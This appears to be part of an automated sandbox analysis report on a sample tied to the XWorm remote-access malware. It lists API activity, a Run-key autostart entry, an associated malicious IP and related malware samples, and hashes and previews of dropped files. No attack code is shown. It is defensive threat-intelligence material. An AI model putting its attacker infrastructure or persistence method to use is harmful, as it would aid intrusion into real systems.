Behavior and APIs

Time	Type	Description
08:06:52	API Interceptor	44574x Sleep call for process: Music.UI.exe modified
08:06:52	API Interceptor	29x Sleep call for process: powershell.exe modified
08:06:56	API Interceptor	3x Sleep call for process: svchost.exe modified
08:06:57	API Interceptor	10496711x Sleep call for process: XClient.exe modified
08:07:11	API Interceptor	2x Sleep call for process: OpenWith.exe modified
12:07:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run test C:\Users\user\AppData\Local\Temp\test
12:07:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run test C:\Users\user\AppData\Local\Temp\test

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.161.193.99	Yq5Gp2g2vB.exe	Get hash	malicious	RedLine	Browse	okmaq-24505.portmap.host:24505/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e87.dspb.akamaiedge.net	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	95.101.148.7
	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	23.219.148.9
	Busy2.0.exe	Get hash	malicious	Babadeda	Browse	23.219.148.9
	http://def.ball-strike-up.shop/	Get hash	malicious	Unknown	Browse	23.35.228.10
	NrFs9S2x5P.vbs	Get hash	malicious	MoDiRAT	Browse	2.23.244.9
	desaremix.exe	Get hash	malicious	KillMBR	Browse	95.101.148.7
	desaremix.exe	Get hash	malicious	KillMBR	Browse	95.101.148.7
	Gadomancy.exe	Get hash	malicious	Unknown	Browse	23.219.148.9
	Gadomancy.exe	Get hash	malicious	Unknown	Browse	2.23.244.9
	VM Audio and Transcription for you on Thu, February 27, 2025 ref_bnyiIW.eml	Get hash	malicious	Unknown	Browse	23.209.212.9

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASUS	hgfs.arm5.elf	Get hash	malicious	Unknown	Browse	104.86.148.15
	Spoofer.exe	Get hash	malicious	LummaC Stealer	Browse	92.122.104.90
	nvtowadkthjawdr.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	LauncherV9.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	launcher.exe	Get hash	malicious	Unknown	Browse	104.73.234.102
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.73.234.102
	InstructionalPostings.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	InstructionalPostings.exe	Get hash	malicious	Unknown	Browse	23.192.247.89
	installer_ver12.22.exe	Get hash	malicious	LummaC Stealer	Browse	23.192.247.89
	work.js	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	23.192.247.89
BITREE-ASRU	tttt.exe.bin.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	SolaraExecutor.exe.bin.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	dd.exe.bin.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	Output.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	XClient.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	XClient.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	chrome.bat	Get hash	malicious	XWorm	Browse	193.161.193.99
	1.exe.bin.exe	Get hash	malicious	XWorm	Browse	193.161.193.99
	BootstrapperNew.exe.bin.exe	Get hash	malicious	Quasar	Browse	193.161.193.99
	Steam.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	193.161.193.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	92.123.20.9
	FleshPowerV2.exe	Get hash	malicious	Babadeda	Browse	92.123.20.9
	Busy2.0.exe	Get hash	malicious	Babadeda	Browse	92.123.20.9
	MSBuild.exe	Get hash	malicious	Unknown	Browse	92.123.20.9
	Our Order.xls	Get hash	malicious	Unknown	Browse	92.123.20.9
	Proof of Payment and Statement.xls	Get hash	malicious	Unknown	Browse	92.123.20.9
	APC2_240708172813545null_847608629.xls	Get hash	malicious	Unknown	Browse	92.123.20.9
	Proof of Payment and Statement.xls	Get hash	malicious	Unknown	Browse	92.123.20.9
	Account statement Payment release.xls	Get hash	malicious	Unknown	Browse	92.123.20.9
	DHL 733988905ZHH.xla.xlsx	Get hash	malicious	Unknown	Browse	92.123.20.9

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3107706297796735
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrM:KooCEYhgYEL0In
MD5:	5BFC092ADE58B9FC0023CEC5CDC86E53
SHA1:	1CD5EBF56E7931D6BCC62C7227F34D8EC10B5C67
SHA-256:	F87FC6DA4A6856692946D7BA1D123B8A89D2DAA03512632985152FB2D3260781
SHA-512:	602195BCD63B804556094257BB391F19ACC05A4A3313435C15BFC16324F4AD7888608AA93B672B0DF7C97BE85E55C7E96A8BA23DE4B892B43A586FE1B45C65AA
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb1407c14, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42208322303007606
Encrypted:	false
SSDEEP:	1536:XSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:Xazag03A2UrzJDO
MD5:	D679ACED66DD49C99B47A76C3CBD55D3
SHA1:	BD253B5C0DF4E85E09ADF97E89FFA869CDF6A075
SHA-256:	DAA9C938D7B6351182F15E12109A8D4928617A62B6C969CF7B9F60EBE7BFB411
SHA-512:	939AE1C806F4D5ED93022808325BA9E60DE8ED13ECC0F4212771C6D8B6D821423C41CCEE39D9FDC95EDA32D11E8A346AB96FC69E63E6DEEFE43E626FD0842CE9
Malicious:	false
Preview:	.@\|.... .......Y.......X\...;...{......................n.%..........}?.9....}a.h.#..........}?.n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{....................................@......}?..................;.......}?..........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07327801873499173
Encrypted:	false
SSDEEP:	3:IgStUetYerV1mPgbPs1ux1nuKillOE/tlnl+/rTc:IgUzrVsooe1n/GpMP
MD5:	43E69DF7A902C672C301FFD50BF027D8
SHA1:	48A38F6DCB80BD03E638ADD07DC11A0A2CA55261
SHA-256:	2C1695D53EF6F957DD537FA466CC3CDF600F64602CE8CFAFAAF41A0148A75D75
SHA-512:	DEB70BEAFF9EC200B16F4AC48C5DC9A5CDE417A947AD4B09A191AAAE08330B70889B828D4D462B626B349EB644E1D5361A963A0764048B7689F572AF00ACB8FD
Malicious:	false
Preview:	6.......................................;...{..9....}.......}?..............}.......}?..........}?..................;.......}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380192968514367
Encrypted:	false
SSDEEP:	48:+WSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//Z+Uyus:+LHyIFKL3IZ2KRH9OugIs
MD5:	98778F626AC9E3DC7169E3F08354680E
SHA1:	97269AC745F7763EBD98A290F5F7B94CBDE9B787
SHA-256:	B87CDA0FEFD257DC12C41E03FA369FDAECDB02BB2E7A9168D07CB412B5415D25
SHA-512:	E6CDCBC763CDDE078C9E30A6544B5B14A7709579FEBB272B93B26FFEA92AB2701DF1F61CC3377E9A486D97BDF404865AB9BFFB344DD74777BAB000D08772280F
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\AC\INetCache\KXW3RVPU\configuration[1].xml

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2659
Entropy (8bit):	4.926959150875136
Encrypted:	false
SSDEEP:	48:cK88z2Dxfo++T4Vu5Hj2oJ//QBfM9ifr9jf2dBfUyrAf0dPfUytCfN4wc/+:n88z2DxueBQipjQB8BWP8pc+
MD5:	69415BBB2113097CE28402C78AAB8A1D
SHA1:	3CC52AA27D635F22434CFEAD93C27D3B5287BF2E
SHA-256:	95458051B4940AA84E142A19F4F775901CBFADC6BDEC409FC7C9DAC854FC8910
SHA-512:	03C62FF862F73046C45D6495D6E5E821ACBD228A230E6761DEE9E8A4E48F157CE3566E6E06FE8CACA73D4736B6AC78A4914855CDE4037574D8DBF86B2B2A0B54
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<clientConfiguration xmlns="http://schemas.microsoft.com/XblWinClient/2012/03" version="1">.. <targetedClient>XblWinClient</targetedClient > .. <rights>Copyright (c) Microsoft Corporation. All rights reserved.</rights> .... <configuration name="Features">.. <property name="EditorialPlaylistsEnabled" type="string" value="AU,CA,DE,FR,GB,MX,NZ,US" />.. <property name="ExploreWithGenreDetailsEnabled" type="string" value="AU,CA,DE,FR,GB,MX,NZ,US" />.. <property name="GenreRadioEnabled" type="string" value="AU,CA,DE,FR,GB,MX,NZ,US" />.. <property name="MusicPassUpsell" type="string" value="" />.. <property name="MusicPassUpsellForCollectionPDP" type="string" value="" />.. <property name="MusicPassUpsellInMixtapes" type="string" value="" />.. <property name="MusicPassInAppPurchase" type="string" value="" />.. <property name="MusicSubscription" type="stri

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfd891228, page size 8192, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	3670016
Entropy (8bit):	0.2380243134713775
Encrypted:	false
SSDEEP:	1536:xdSh2B+KY8kWJnbcgTC0/k63bBu7fhWx7zQSh20KY8kCeyDFqf6zgTC0/k63bBu5:/6PL4DQ6rLoc
MD5:	A0EC53E59D2E43437C69714A4C7BAFA4
SHA1:	B6033E65841761EB7FB61EC2626AC9DB2789E644
SHA-256:	DD402F6DCDC93BEE7682893EACFD6DCB857540B7CB18B0C43D4C5C25B981AD20
SHA-512:	30DD70363DA79633BE9897475744C9DA6B865374B87DACF2F9CBB000DBA78A30BA19F0760986577EC1CAE84BA6E88C67C92027E523B1C9D88CEF45CDF4FA5AD0
Malicious:	false
Preview:	...(... .......-.........]4....}#.....................................4....}..h..............................d4....}..........................................................................................................eJ........... ...................................................................................................... .......4....}..............................................................................................................................................................................................5....}y.....................................5....}y..................:.P5....}!.........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.jfm

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08203213403361016
Encrypted:	false
SSDEEP:	3:2YmZ5Ymjll1lYjpzvEjK2R7l/lBoiyllQjii1l8ll8l9k/wos9aolk4k1:uvZl1iZviRJUjugyvgo9
MD5:	0BCE22344B98FF7BF1A4BDF4DDADFD45
SHA1:	A9B3A8A262EE2910E4B30611BD557C255CA64883
SHA-256:	8C706CC2326725A6C3420121E4BF49996F194641169E259EF749223B0F0B85EC
SHA-512:	55D3A3F227DECB8ED553D9DA64DBC4E1CC24B86FB141CA5FE9BE5F476791DAFA79AC58943CE6658666BD99C75059CDBAA7094F0D543DE32AE1E0373E7EEEE2E5
Malicious:	false
Preview:	..q.....................................4....}C.4....}C.................5....}!.........-.C.5....}...................:.P5....}!.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.6191073368731885
Encrypted:	false
SSDEEP:	24:0RlY+fUCx/8+fUCx/QeRlY+fUCx/8+fUCx/Q:GeiUCx0iUCxFeiUCx0iUCx
MD5:	866D4AE698A98DA4DF5F7444D5F6D08F
SHA1:	9F82E997FCA4AE96483436750D304B44284FD206
SHA-256:	CA502F746361BB10CB8DA2A6252F2596F722441E46B249534A109FE348578D16
SHA-512:	99C0C894B1645278B5867F6242EA6AACBFE69AF19D57C70E7C9EFCBAE70F7660B2FED05014CBAF52CF0DC8B63A1E8B7FE19B44624FA14200372E01CB4A62B357
Malicious:	false
Preview:	.SP....................d4....}..................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\...............................................................................................................................................................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\................................................................................................................................................................0u..,.....................5w.................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.log

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.7397765410586085
Encrypted:	false
SSDEEP:	1536:/ZV8R1dzEBmHlXDulLuE2a+ciy8zWY+r6JBiN6MAfO42j6Gs1548AZ5yeh0G32fl:/ZV8RLD7rO3bJhWO4NaaVb5
MD5:	C4745D7ADDC86304DCF46526AF3EA4B9
SHA1:	A303DD1E067E61D921E30B84D535BA6D36A5E1AD
SHA-256:	BE3EA01237BBCE16CB68A99AEF0C98714D54C4EB8EC2E7B5A3A3BE05783C297E
SHA-512:	2487AAA69ABBA387823086A9B9C1E4F9A5584941EC797080EE48A31403E058CDC18EB23300A18EF87EE74179EA01DE198B4854489FE4706AA105F41EB1E07C50
Malicious:	false
Preview:	D............. 4....}.........................d4....}..................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\...............................................................................................................................................................C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\................................................................................................................................................................0u..,.....................5w.......................................#.................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00001.jrs

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbres00002.jrs

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edbtmp.log

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	data
Category:	dropped
Size (bytes):	2097152
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B2D1236C286A3C0704224FE4105ECA49
SHA1:	7D76D48D64D7AC5411D714A4BB83F37E3E5B8DF6
SHA-256:	5647F05EC18958947D32874EEB788FA396A05D0BAB7C1B71F112CEB7E9B31EEE
SHA-512:	731859029215873FDAC1C9F2F8BD25A334ABF0F3A9E1B057CF2CACC2826D86B0C26A3FA920A936421401C0471F38857CB53BA905489EA46B185209FDFF65B3B6
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\tmp.edb

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb06ef157, page size 8192, JustCreated, Windows version 0.0
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.14191673320223755
Encrypted:	false
SSDEEP:	768:02gAhY+VxEyVjqaytqxUSYQHDmit8UPcim:rhY+VxEyVjqaytqxUSYQHDmit8UPcim
MD5:	EE6950B79A4FF120BAD06B3ACBE938CC
SHA1:	08B92BA14B426741AF8ED1EDF6B10D0D918F7DF4
SHA-256:	B2E1C40CCD4F8527984BE100F9B3E4D361FFBFEDBB75D371B864564772ACD385
SHA-512:	E68B867F0A3D76A970B4AB65FD632AE70F914B751767641FD06913C6780BC08294B92830B91C918A182592B1AA62ED3EEDE1419AD26785EC5D61C6C9AE95A615
Malicious:	false
Preview:	.n.W... .......@.........S5....}........................................................................................................................................................................................................... ...................................................................................................... ...................................................................................................................................................................................................................................................\.K.5....}!.....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\SRPData.xml (copy)

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	215
Entropy (8bit):	4.842714017180681
Encrypted:	false
SSDEEP:	3:uncHUTIqUHek8KIfFhKP4SfHUyLGewqdeFIKLROtRslUERrUtAXtEGmNrOVgNnb:e28IqUHeksNhy5mOdeZlv2y9EGmNrDnb
MD5:	679E182D5665B2C2C734273D313F4425
SHA1:	A3EB802AD91F656E326B203D31DE512E9E457A1A
SHA-256:	1F06BE15FFFA50F818A040059E2064E95BF526D0D5804FD8181B53B3FD6D8E85
SHA-512:	B43F4E835B9CCA62C38F3413670A7F3A0C72CE381BD9E54C333A2FB21233C83CCE2E627A42A49197F5846FB8B6D03DF9A64696D6F5605E7F4057219BA5E4F738
Malicious:	false
Preview:	<SRPData version="1" sessionId="1"><Outcomes></Outcomes><Threshold launches="1" daysLaunched="1" dayOfLastLaunch="31" monthOfLastLaunch="5" yearOfLastLaunch="2025" userHasAccepted="false" timesPolled="0"/></SRPData>

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\SRPData.xml.~tmp

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	215
Entropy (8bit):	4.842714017180681
Encrypted:	false
SSDEEP:	3:uncHUTIqUHek8KIfFhKP4SfHUyLGewqdeFIKLROtRslUERrUtAXtEGmNrOVgNnb:e28IqUHeksNhy5mOdeZlv2y9EGmNrDnb
MD5:	679E182D5665B2C2C734273D313F4425
SHA1:	A3EB802AD91F656E326B203D31DE512E9E457A1A
SHA-256:	1F06BE15FFFA50F818A040059E2064E95BF526D0D5804FD8181B53B3FD6D8E85
SHA-512:	B43F4E835B9CCA62C38F3413670A7F3A0C72CE381BD9E54C333A2FB21233C83CCE2E627A42A49197F5846FB8B6D03DF9A64696D6F5605E7F4057219BA5E4F738
Malicious:	false
Preview:	<SRPData version="1" sessionId="1"><Outcomes></Outcomes><Threshold launches="1" daysLaunched="1" dayOfLastLaunch="31" monthOfLastLaunch="5" yearOfLastLaunch="2025" userHasAccepted="false" timesPolled="0"/></SRPData>

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	2.660667103151342
Encrypted:	false
SSDEEP:	96:DJadNmQkr1eAFDfSDA3bTbfTHf59gFBNrUH6PpQhG0m4EbPVmVfPSYeZbmGPXSQu:VadNmQKqDA3bTr3aPUNhoOSFoi9S
MD5:	94CC539278AF9FC9FF84CFDFD4381490
SHA1:	9B0989C7599B55D2A5426ED465C4C8B717421A96
SHA-256:	25F4209CEF69688925FB90383E5948D13DC8073EF0218D145A545E051D9E22C7
SHA-512:	3CEA958A905B54B9EB6B29AF37F016069959AFD1F30A76C0852E38C10126FE6F09BDC48B143BF0C02A19CF4659C02A3F226D3B58582F9EEB8E40A7C5BAD15DCD
Malicious:	false
Preview:	regf........b.Q.7.................. .... ......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm./..k................................................................................................................................................................................................................................................................................................................................................L\|q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Process:	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.371886878163016
Encrypted:	false
SSDEEP:	96:YJa5NmQkr1eAFDfSDA3bTbfTHf59gFBNrUH6PpQhG0m4EbPVmVfPSYeZbmGPXSQu:8a5NmQKqDA3bTr3aPUNhoOSFoi9S
MD5:	2EFE324263D285C88F251E12BB29F2A6
SHA1:	B76D52A381A0D06F530BECB06089C6C33D7B6D45
SHA-256:	6AC1849AFE093F595818DCF6A64ECADADE271E44252337D361F5728A6A37253D
SHA-512:	25E8DF3AD80DA9CA94FF0BB636ABF98743953FF62F3BF9B2E7A70965AC393DAE2C9BEB022D2F6F3056133A249FF8C29F7579CA0A615D8290368A7E804F5A8378
Malicious:	false
Preview:	regf........b.Q.7.................. .... ......y.b.3.d.8.b.b.w.e.\.S.e.t.t.i.n.g.s.\.s.e.t.t.i.n.g.s...d.a.t...y..j.....J.....y..j.....J.........z..j.....J.....rmtm./..k................................................................................................................................................................................................................................................................................................................................................L\|qHvLE............. ......_...'.w....._...... ..hbin................b.Q.7..........nk,.T...7..................................x...............................Test....p...sk..h...h.......t.......H...X.............4.........?.......................?....................... ... ...............YQ..fr]%dc;.............nk ...I.k...................................h...............................Configuration...p...sk..x...x.......t.......H...X.............4.........?.......................

C:\Users\user\AppData\Local\Temp\Bruh - Sound Effect (HD) - Gaming Sound FX.mp3

Process:	C:\Users\user\Desktop\test2.exe.bin.exe
File Type:	Audio file with ID3 version 2.4.0, contains: MPEG ADTS, layer III, v1, 320 kbps, 48 kHz, JntStereo
Category:	dropped
Size (bytes):	81707
Entropy (8bit):	4.126349148377333
Encrypted:	false
SSDEEP:	384:/60rlQ+cKFV0G90CSSQ9sPw0JUn3Ju4iLXGIbtqy8BjT2UqwEvNf1vCvhYmTUFQ0:/7JQtKJQYwYUnZu4iLW+EjNgZCim5YdF
MD5:	79953F860B5BEC1F7ED6AC173203BA28
SHA1:	236BF7949BD8345BEF52C95E0298DF1A9AA5BCDE
SHA-256:	318D3882B99BF80B35ADA45E27D79593468DB6563A1DEB4935B768620AF35D50
SHA-512:	B1B2330FE0CA271489CD1367F95ACF129BEF13801BBB9A0A421916BF5B67017FD03F06C4C8B7EC0F3E3D94CD7D9912048DC2FD2C578E67D791888DC598D8FCB1
Malicious:	false
